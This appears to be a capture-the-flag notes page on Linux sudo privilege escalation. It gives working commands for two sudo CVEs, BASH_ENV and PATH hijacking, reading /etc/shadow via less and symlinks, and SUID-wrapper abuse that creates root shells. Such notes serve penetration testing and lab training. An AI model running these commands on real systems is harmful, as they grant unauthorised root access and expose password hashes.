> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/priv-esc/linux-privilege-escalation/sudo.md).

# Sudo

## Vulnerabilities

### CVE-2019-14287

Sudo versions < 1.8.28 are vulnerable to [CVE-2019-14287](https://nvd.nist.gov/vuln/detail/CVE-2019-14287).

```bash
sudo -u#-1 <cmd>
```

### CVE-2019-18634

Sudo versions < 1.8.26 are might be vulnerable to [CVE-2019-18634](https://nvd.nist.gov/vuln/detail/cve-2019-18634) if the `/etc/sudoers` file use the `pwfeedback` keyword

```bash
tryhackme@sudo-bof:~$ ./exploit 
[sudo] password for tryhackme: 
Sorry, try again.
# id
uid=0(root) gid=0(root) groups=0(root),1000(tryhackme)
```

Note that no password is needed/entered!

## Configuration Mistakes

### BASH\_ENV preserved via sudo env\_keep

If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command.

* Why it works: For non-interactive shells, Bash evaluates `$BASH_ENV` and sources that file before running the target script. Many sudo rules allow running a script or a shell wrapper. If `BASH_ENV` is preserved by sudo, your file is sourced with root privileges.
* Requirements:
  * A sudo rule you can run (any target that invokes `/bin/bash` non-interactively, or any bash script).
  * `BASH_ENV` present in `env_keep` (check with `sudo -l`).
* PoC:

```bash
cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo   # or any permitted script/binary that triggers bash
# You should now have a root shell
```

Reference: <https://hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#bash_env-preserved-via-sudo-env_keep--root-shell>

### Sudo env\_keep+=PATH / insecure secure\_path

If `sudo -l` shows `env_keep+=PATH` or a `secure_path` containing attacker-writable entries (e.g., `/home/<user>/bin`), any relative command inside the sudo-allowed target can be shadowed.

* Requirements: a sudo rule (often `NOPASSWD`) running a script/binary that calls commands without absolute paths (`free`, `df`, `ps`, etc.) and a writable PATH entry that is searched first.

```bash
cat > ~/bin/free <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x ~/bin/free
sudo /usr/local/bin/system_status.sh   # calls free → runs our trojan
bash -p                                # root shell via SUID bit
```

Reference: <https://hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-env_keeppath--insecure-secure_path--path-hijack>

### Sudo execution bypassing paths

**Jump** to read other files or use **symlinks**. For example in sudoers file: *hacker10 ALL= (root) /bin/less /var/log/\**

```bash
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
```

```bash
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
```

If a **wildcard** is used (\*), it is even easier:

```bash
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Read 2 files
```

Reference: <https://hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-execution-bypassing-paths>

### SUID binary with command path

If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling.

For example, if a suid binary calls ***/usr/sbin/service apache2 start*** you have to try to create the function and export it:

```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```

Then, when you call the suid binary, this function will be executed.

Reference: <https://hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#suid-binary-with-command-path>

### Writable script executed by a SUID wrapper

A common custom-app misconfiguration is a root-owned SUID binary wrapper that executes a script, while the script itself is writable by low-priv users.

Typical pattern:

```c
int main(void) {
    system("/bin/bash /usr/local/bin/backup.sh");
}
```

If `/usr/local/bin/backup.sh` is writable, you can append payload commands and then execute the SUID wrapper:

```bash
echo 'cp /bin/bash /var/tmp/rootbash; chmod 4755 /var/tmp/rootbash' >> /usr/local/bin/backup.sh
/usr/local/bin/backup_wrap
/var/tmp/rootbash -p
```

Quick checks:

```bash
find / -perm -4000 -type f 2>/dev/null
strings /path/to/suid_wrapper | grep -E '/bin/bash|\\.sh'
ls -l /usr/local/bin/backup.sh
```

This attack path is especially common in “maintenance”/“backup” wrappers shipped in `/usr/local/bin`.

Reference: <https://hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-script-executed-by-a-suid-wrapper>

## Resources

Dangerous Sudoers Entries – PART 1: Command Execution: <https://blog.compass-security.com/2012/10/dangerous-sudoer-entries-part-1-command-execution/>

Dangerous Sudoers Entries – PART 5: Recapitulation: <https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/>

HackTricks - SUDO and SUID: <https://hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid>

sudo - Linux manual page: <https://man7.org/linux/man-pages/man8/sudo.8.html>

SUDO - The Hacker Recipes: <https://www.thehacker.recipes/infra/privilege-escalation/unix/sudo>

sudoers - Linux manual page: <https://man7.org/linux/man-pages/man5/sudoers.5.html>

sudo-cve-2019-18634 - GitHub: <https://github.com/saleemrashid/sudo-cve-2019-18634>

Sudo Buffer Overflow - THM: <https://github.com/Cajac/TryHackMe-Writeups/blob/main/Walkthroughs/Info/Sudo_Buffer_Overflow.md>